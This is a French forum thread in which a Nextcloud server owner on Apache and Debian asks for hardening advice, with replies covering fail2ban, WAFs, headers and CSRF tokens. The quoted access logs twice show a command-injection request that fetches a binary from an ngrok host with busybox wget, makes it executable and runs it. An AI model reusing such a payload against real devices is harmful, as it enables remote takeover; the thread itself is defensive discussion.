Sécurisation d'un serveur web sous apache 2.4 et debian buster

Brun-Paul · mai 17, 2020, 1:52pm

Bonsoir à tous,

Je viens vous voir car ça fait bien une semaine que je recherche des solutions pour sécuriser mon serveur web. J’utilise un vps, et ne suis malheureusement pas développeur, mais avoir un serveur à gérer et je pense une bonne façon aussi d’en apprendre plus sur la sécurité web.

J’ai subis diverses attaques il y a de ça une semaine environ, les logs indiquent une tentative d’attaques crsf ainsi que des récupération de pages css sûrement pour de ingénierie …

Voici les quelques logs en question :

193.248.252.103 - - [11/May/2020:18:01:25 +0000] « GET /cron.php HTTP/1.1 » 200 991 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »

96.126.126.80 - - [11/May/2020:18:08:29 +0000] « GET /index.php/login HTTP/1.1 » 200 3016 « https://mon_site/ » « Go-http-client/1.1 »

46.45.185.182 - - [11/May/2020:20:41:42 +0000] « GET / HTTP/1.1 » 301 626 « - » "Mozilla/5.0 (Macintosh; Inte

193.248.252.103 - - [11/May/2020:20:51:48 +0000] « GET /index.php/login HTTP/1.1 » 200 9820 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /apps/files_pdfviewer/css/style.css?v=6a154fe0-11 HTTP/1.1 » 200 910 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /core/css/guest.css?v=40f029ed-11 HTTP/1.1 » 200 6243 « - » « Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 »
193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /index.php/apps/theming/styles?v=11 HTTP/1.1 » 200 2044 « - » "Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.

171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET / HTTP/1.1 » 302 6424 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET /index.php/login HTTP/1.1 » 200 2522 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET /apps/files_pdfviewer/css/style.css?v=6a154fe0-11 HTTP/1.1 » 200 910 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.57 - - [11/May/2020:22:27:02 +0000] « GET /core/css/guest.css?v=40f029ed-11 HTTP/1.1 » 200 11126 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 »
171.13.14.54 - - [11/May/2020:22:27:19 +0000] « - » 408 543 « - » « - »
171.13.14.53 - - [11/May/2020:22:27:20 +0000] « - » 408 543 « - » « - »
171.13.14.83 - - [11/May/2020:22:27:20 +0000] « - » 408 4882 « - » « - »
171.13.14.84 - - [11/May/2020:22:27:21 +0000] « - » 408 4882 « - » « - »

196.52.43.121 - - [11/May/2020:23:23:33 +0000] « GET / HTTP/1.0 » 301 590 « - » « Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36 »
162.243.136.158 - - [11/May/2020:23:27:22 +0000] « GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1 » 400 9941 « - » « Mozilla/5.0 zgrab/0.x »
193.42.99.162 - - [11/May/2020:23:42:09 +0000] « HEAD /robots.txt HTTP/1.0 » 301 273 « - » « - »

Je n’ai pas forcément les compétences nécessaire pour discerner avec précision chaque comportements, j’ai seulement des hypothèses pour certaines lignes

162.243.136.158 - - [11/May/2020:23:27:22 +0000] « GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1 » 400 9941 « - » « Mozilla/5.0 zgrab/0.x »

187.190.246.249 - - [11/May/2020:17:56:26 +0000] « POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}‹ cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7 ›%0A%27&loginUser=a&loginPwd=a HTTP/1.1 » 400 0 « - » « - »

Comme celles ci dessous qui me semble t-il ressemble à du xss … On voit clairement les commandes utilisée … un chmod 777 un wget …

Pour l’instant les ip concernées ont étaient bloqué via .htaccess mais j’en et encore vu d’autres récemment de Russie, Syrie, etc …

En fouillant sur le net je suis tombé sur des sites intéressant tels que :

https://owasp.org/www-project-csrfguard/
https://www.netnea.com/cms/apache-tutorial-6_embedding-modsecurity/
https://wiki.visionduweb.fr/index.php?title=Installer_Apache2_sur_Debian#Require_host_-_Les_h.C3.B4tes_du_domaine_ont_l.27autorisation_d.27acc.C3.A8s.2C_tous_les_autres_sont_rejet.C3.A9s

Seulement où certains ne sont plus à jours, où pour d’autres il s’agit de conseils plus que de réels solutions factuel. Bref ça m’aide mais ça ne vaut pas l’aide personnalisée de gens plus expérimenté.

En lisant les articles ici et là apparemment ce qui conviendrais le mieux en terme de polyvalences / efficacités serait mods-security mais j’ai aussi pu lire que sa configuration était très sensible, donc je ne me voit pas me lancer dans un tutoriel à l’aveuglette …

Je pourrais aussi choisis de bloquer toutes les ip sauf quelques une mais j’aimerais si possible éviter d’en arriver à une solution aussi drastique … Pour ce qui est de bloquer les ip en dehors de la zone française, je viens de trouver ce post Iptables interdire les pays sauf la france donc merci

Dans tous les cas, je ne demande qu’à apprendre donc si vous avez des liens / conseils je suis preneur.

Merci d’avance à tous !

PS : J’ai essayé de bloquer les ip des pays qui attaques couramment, j’ai pour ça suivit la doc de ma version à savoir https://httpd.apache.org/docs/2.4/fr/howto/access.html

ça ne fonctionne pas … aucuns ping du serveur j’obtiens un message avec délais d’attente dépassé … Voici un extrait de ce que j’ai mit dans le htaccess

Require all granted Require not ip 50.62.136.183 Require not ip 193.248.252.103 Require not ip 1.34.88.3 Require not ip 5.202.150.143 Require not ip 80.82.78.104

Est ce parce que ma liste est trop longue selon vous ?

EDIT : Je viens de regarder il semblerait que le problème vienne du fait que la limite d’opération simultanée est trop importante (arrêter moi si je me trompe )

server reached MaxRequestWorkers setting, consider raising the MaxRequestWorkers setting

PmGs · mai 17, 2020, 2:11pm

Comment tes « clients » pourraient-il lire correctement tes pages sans avoir accès à tes .css?

Brun-Paul · mai 17, 2020, 2:20pm

Bonjour @PmGs !

Je suppose que tu fais allusion à cette ligne ci

Je ne fait pas allusion à une volonté de ma part de vouloir bloquer le css c’est simplement que je constate d’aprés les logs que des pages contenant du css ont était téléchargés … Je ne pense pas qu’un utilisateur lambda ai besoin de télécharger du css …Donc m’y à part pour de l’inginierie je ne vois pas l’intéret … c’était simplement ça le but de ma remarque

Mais je suis bien evidemment d’accord avec toi le but n’est pas de bloquer le css seulement d’interdire l’accés au site à ceux qui n’ont rien à y faire

PmGs · mai 17, 2020, 2:23pm

Dans ce cas c’est simple, tu bloques (.htaccess) tous ceux qui n’ont rien à y faire ou tu autorises uniquement ceux qui ont à y faire …

Brun-Paul · mai 17, 2020, 2:34pm

@PmGs c’est exactement ce que j’ai fait c’est marqué plus haut mais j’obtiens une erreur 500 quand .htaccess contient trop de directives d’interdiction … Tout le détail est dans le premier message

Je continu à chercher d’où ça peut provenir en attendant en espérant finir par trouver

EDIT : Le probléme étant que les attaques sont nombreuses, je ne peut donc pas me contenter de 4 lignes deny dans .htaccess … rien que là j’ai rallumé apache pour voir si suite à mes modifications j’y avait access bah sous mes yeux en direct un russe à essayer d’accéder au .htaccess …

Clochette · mai 17, 2020, 5:28pm

Peut-être que le mod_evasive et fail2ban bien coordonnée suffiront, et pourquoi pas avec un waf que ce soit le mod_security ou carrément un nginx naxsi.

Brun-Paul · mai 17, 2020, 6:21pm

@Clochette Merci pour ta réponse !!

Je ne connaissais pas malgré mes différentes recherches mods_evasive donc je vais lire la doc de plus prêt merci !

Pour fail2ban il est déjà en place, et je n’ai à vrai dire eu que deux petites tentatives dessus, qui bien sûr ont était bloqué.

Je ne connais pas non plus je vais regarder ça, à noter tout de même que je suis sous apache et non nginx … ( à moins que ça ne fasse aucune différences pour cette solution ? )

EDiT :

@Clochette Pour le mods_security hélas je n’ai pas trouvé de réel maniére pour l’nstaller proprement et les sites trouvé ne sont pour la plupart plus à jour …

Pour nginx naxsi effectivement comme son nom l’indique il est pour nginx si jamais je n’arrive vraiment pas à installer le mods_security peut etre que je demenagerais le site sous nginx à voir j’espere malgré tout ne pas devoir en arriver là

nam1962 · mai 18, 2020, 6:32am

Une suggestion : Ninjafirewall, il y a une version wordpress et une version php.
Je les utilise dans la version gratuite depuis 10 ans.

Clochette · mai 18, 2020, 6:39am

C’est un WAF et comme son nom l’indique il se place en amont du serveur web, peu importe que l’on utilise apache ou nginx, à l’identique d’ailleurs du mod_security, qui peu très bien se placer en amont d’un nginx, même si je trouverai ça rigolo dans ce cas là

Rien de plus simple pour l’installation :
https://packages.debian.org/buster/libapache2-mod-security2

Ce sera pour sa configuration que ce sera pus délicat, mais il me semble avoir aperçu quelques liens en langue de Shakespeare.

Après moi j’ai plus l’habitude d’avoir le WAF en amont de l’infrastructure avec de l’Opnsense ou autre donc bon, et je travail sous Nginx la plus part du temps

Bruno1 · mai 18, 2020, 7:24am

Bonjour,

Avant d’installer des usines à gaz plus ou moins efficaces, il vaut mieux se concentrer sur la sécurité des applications web que tu héberges. Donc vérifier qu’elles sont bien à jour et ne présentent pas de failles connues et éventuellement faire un audit dessus. Des applications comme OWASP permettent justement de faire cela.

Côté serveur effectivement le mod-evasive et le mod_security d’Apache peuvent être utiles dans certaines circonstances, mais attention à leur configuration et aux pertes de performances.
Avant d’envisager ces modules il faut déjà cloisonner les différents sites que tu héberges : un utilisateur différent pour exécuter les scripts de chaque site et des droits d’accès minimaux sur l’arborescence.
Il faut aussi utilise le module headers d’Apache pour activer un certain nombre de protections, a minima :

Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"

ainsi que les CSP pour n’autoriser que les ressources, notamment les scripts, provenant de sources fiables. C’est un peu pénible à bien configurer, mais c’est très utile.

En dernier recours, fail2ban peut-être utilisé pour bloquer les IP qui insistent pour différentes choses (script, faux robots, brute force sur les interfaces de connexion, etc.).

Brun-Paul · mai 18, 2020, 8:13pm

@nam1962 Ce n’est pas un wordpress mais un service nextcloud

@Clochette

C’est bon à savoir ! Je pensais qu’il me faudrait démènager tous le site sur nginx !

Oui, j’avais déjà vu que c’était possible par ce biais je parlais de la config et des tutos qui n’ont pu l’air à jour et non de l’installation en tant que t’elle autant pour moi

Opnsense est un autre WAF je suppose ? J’ai lû que apparemment le WAF de nginx était novateur par rapport à ces concurrents …Est ce que ça veut dire qu’il vaut mieux utiliser le waf de nginx plutôt que celui de apache ? ( en terme d’efficacité ) où toute la subtilité et l’efficacité réside « uniquement » dans sa manière de configurer l’outil ?

@Bruno1 Bonjour

Alors justement ! J’ai oublié de le préciser mais j’ai effectué un scan et owasp m’a trouvé 8 failles de moyenne à faible … L’ennuie c’est que comme préciser plus haut je n’ai pas de compétences en développement web …Autant je me débrouille plus où moins en réseau autant de dev web pas encore …

Donc quoi faire avec ces erreurs ça … J’ai bien evidemment fait des recherches en fonctions des résultats de owasp mais aucun articles n’a expliqué de manière clair comment corriger ces failles et dans quel fichier allez … Si tu possède une plus grande expérience que moi dans le domaine ( toi où un autre ) on pourrait envisager de ce contacter par mp afin que je relance apache pour que tu puisse utiliser owasp sur mon site pour constater les failles qui sont trouvé.

Je ne possède qu’un seul site un serveur nextcloud. Pour ce qui est des performances du serveur j’ai un vps il n’a que 2 coeur avec 8 go de ram donc je pense pas pouvoir concurrencer facebook demain en terme de traffic supporté avec ça …

Pour ce qui est des Headers c’était déjà le cas

Header always set Referrer-Policy « no-referrer »
Header always set X-Content-Type-Options « nosniff »
Header always set X-Download-Options « noopen »
Header always set X-Frame-Options « SAMEORIGIN »
Header always set X-Permitted-Cross-Domain-Policies « none »
Header always set X-Robots-Tag « none »
Header always set X-XSS-Protection « 1; mode=block »
SetEnv modHeadersAvailable true

Par contre je n’ai pas trouvé de ligne csp je suppose que ces lignes sont dans le .htaccess aussi ?

Fail2ban est déjà en place pour le ssh, par contre pas sûr qu’il le soit pour tous ce que tu cite …

nam1962 · mai 18, 2020, 8:55pm

J’avais subodoré et… Ninjafirewall pro est un WAF Php pour sites non WordPress

Brun-Paul · mai 18, 2020, 8:59pm

@nam1962 haha autant pour moi alors je vais regarder ça aussi du coup … Je constate que pour les waf aussi il y a l’air d’avoir moultes solutions existante … qu’est ce qui les différencie ? Parce que je vais pas savoir quoi choisir du coup

Bruno1 · mai 20, 2020, 6:46am

Si tu n’héberges que Nextcloud, il n’y a pas trop de souci à se faire, même si la sécurité à 100% n’existe pas. Nextcloud est bien sécurisé par défaut et inutile de jouer avec les CSP pour celui-ci.
Les points à vérifier sont :

connexions en HTTPS obligatoires ;
mise à jour de Nextcloud et de ses applications dès qu’elles sont publiées ;
éviter d’utiliser les application non approuvées par Nextcloud ;
un dossier data de préférences en dehors de la racine web ;
des mots de passe solides pour les utilisateurs.

S’il n’est pas possible de contrôler la solidité des mots de passe des utilisateurs mettre en place un filtrage fail2ban pour limiter les attaques par force brute. Il y a plein de sites web qui décrivent comment faire. Il y a aussi des applications Nextcloud.

Je déconseille le WAF qui risque de plomber les performances pour un gain de sécurité nul ou presque. Dans ce contexte cela me semble être un bricolage inutile.

Brun-Paul · mai 19, 2020, 8:57am

Pour le ssl c’est fait, j’ai également mit en place le hsts et fait en sorte d’obtenir la note maxlmal sur https://www.ssllabs.com/ssltest/

Mais il n’empéches les attaques sont nombreuses … Pourquoi s’embéterait-ils à attaquer si c’est pour ne rien trouver …

J’ai vu notamment un d’eux revenir trés souvent sur le site et ce rediriqer vers index.php/csrftoken

Si cette manoeuvre est caduque pourquoi revenir trés régulièrement sur cette page ci ? Sans parles des téléchargements de pages css où tentative xss …

Où bien comme là

187.190.246.249 - - [11/May/2020:17:56:26 +0000] « POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}‹ cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7 ›%0A%27&loginUser=a&loginPwd=a HTTP/1.1 » 400 0 « - » « - »

Où on voit clairement la tentatives d’envoyer des commandes au serveur … Surtout que le serveur lui envoie seulement un bad request et non un access deny

En somme je ne veux pas remettre en cause ce que tu dis car il parait évident que tu as l’air plus expérimenté que moi sur le sujet mais il parait normal que je sois inquiet par toutes ces attaques en sachant que les même ips reviennent enconre et encore … Sans parler des nouvelles …

En sachant que mes connaissances sur le dev web est limité j’ai toujours un doute quant au fait de savoir si le site est correctement configuré … même si tout m’a pour l’instant l’air d’indiquer que oui je ne peut pas m’empécher de me dire que toutes ces attaques finiront forcément par payer … Et je ne me sens légitimement pas rassurer par cette situation en me connectant au site.

Pour ce que tu préconise, c’est délà fait et en fait ça me parait seulement être du bon sens … Et pour ce qui est de la sécurité parfaite bien evidemment qu’il serait illusoire de penser qu’elle existe mais quand même … là au vu de leurs nombre ça donne l’impression que c’est open bar … et les bloquer tous dans le .htaccess au vu de leurs nombres est je pense pas forcément la solution la plus adéquate …

Peut être que je devrais utiliser ipset pour blacklister toutes les ip non française ce qui limiterait déjà considérablement les attaques mais c’est en supposant que ça ne ralentisse seulement de manière raisonnable l’accès au site ce donc je ne suis pas sûr

Je déconseille le WAF qui risque de plomber les performances pour un gain de sécurité nul ou presque. Dans ce contexte cela me semble être un bricolage inutile.
[/quote]

Peux tu m’en dire plus s’il te plait ? Etant donné que la majeur parti voir la totalité des attaques sont de type xss je pensais pourtant que ça serait justement adapté et que la sécurité en serait au contraire logiquement renforcé que sans rien du tout

Bruno1 · mai 20, 2020, 6:14am

À partir du moment où tu as un serveur web, tu verras forcément de nombreuses « attaques ». Ce sont en fait des tentatives effectuées par des robots à la recherche de failles de sécurité.
Si tu regardes tes logs tu verras bien que ces tentatives échouent en renvoyant un code HTTP 4XX.

Il ne faut non plus s’alarmer pour la moindre tentative de connexion ou d’envoi de données…
La ligne de log que tu donnes, par exemple, est une tentative pour exploiter cette faille :

qui ne te concerne absolument pas

De la même manière j’ai des dizaines de lignes dans mes logs de sites qui n’utilisent pas WordPress contenant :

"… /wp-login.php HTTP/1.1" 404…

qui sont autant de tentatives de connexion à un WordPress qui n’existe pas.

Brun-Paul · mai 20, 2020, 10:56am

@Bruno1

D’accord ! ça me rassure je te remercie !! Du coup à quel moment est t-il judiscieux de mettre en plaace des WAF selon toi ? Et pourquoi ceux ci auront un gain nul où presque là où justement ils sort censé apporter une plus value …?

J’ai mit en place fail2ban contre les bots à voir maintenant si ça fonctionne, et peux tu m’expliquer à quoi sert la page indox.php/csrf_token ? J’ai crû comprendre que c’est ce token qui gère l’authentification utilisateur … ?

En effet quand je m’authentifie même une fois logué un appel est fait sur cette page. j’ai lû qu’il était possible dans certains cas de deviner comment sont généré ces tokens et donc de pouvoir ensuite tenté à la suite d’un évènement type changement de mot de passe d’amener un user sur une fausse page pour lui voler ce token ce qui permettrais d’être loggué …

Sous réserve d’avoir bien comprit … N’est ce pas dangereux de laisser cette page en lecture ? Ne ferais je pas mieux d’en interdire la lecture ? Où est ce que cela risque de compromettre l’authentification des utilisateurs légitime ?

Bruno1 · mai 20, 2020, 11:55am

Les jetons CSRF sont justement faits pour éviter les failles de type CSRF en vérifiant la validité du jeton à chaque action.

https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#token-based-mitigation

Ces jetons sont générés de manières sécurisée (algo de hashage solide plus salage) et sont pratiquement impossible à prédire.

Évidement si tu t’amuses à toucher à cela ton Nextcloud ne fonctionnera plus.

Pour les WAF, je laisse le soin aux spécialistes qui en ont l’usage d’expliquer pourquoi dans leur cas le bénéfice en terme de sécurité est supérieur à la perte de performances.
Pour celui que je connais, à savoir le mod_security pour Apache, il fonctionne en filtrant les requêtes HTTP d’après des filtres établis à l’aide d’expression régulières. Donc plus ces filtres sont nombreux et plus les performances diminuent. On peut arriver à multiplier par 10 le temps de chargement d’une page en activant tous les filtres !
D’autres part les filtres fournis concernent des failles connues, qui donc devrait être corrigées si possible du côté de l’application web et non palliées par une surcouche de sécurité.
Configurer correctement ces filtres demande du temps, des compétences et une grande connaissance des application à protéger et de leurs failles potentielles.
Le seul cas où sont usage me paraît justifié, et encore…, c’est quand on héberge des sites potentiellement codés avec les pieds ou de vieux CMS que l’on ne peut plus mettre à jour.

Zargos · mai 20, 2020, 2:30pm

Comme tu te contente d’utiliser le service (pas de le développer), si ton site a un parefeu en frontal, il suffit d’en activer la focntion WAF s’il en dispose et de mettre aussi un reverse proxy (genre HAPROXy qui fonctionne très bien) qui ajoute une couche de securité.
Les WAF sont quasiment inefficaces contre les bots malveiullants. Ce sont des equipement qui ne sont pas super friendly quandf tu n’y connais rien. D’aillerus la grande difficulté à les paramétré a fait pendant longtemsp que ces equipement etaient peu utilisés alros qu’ils existent depuis près de 15 ans.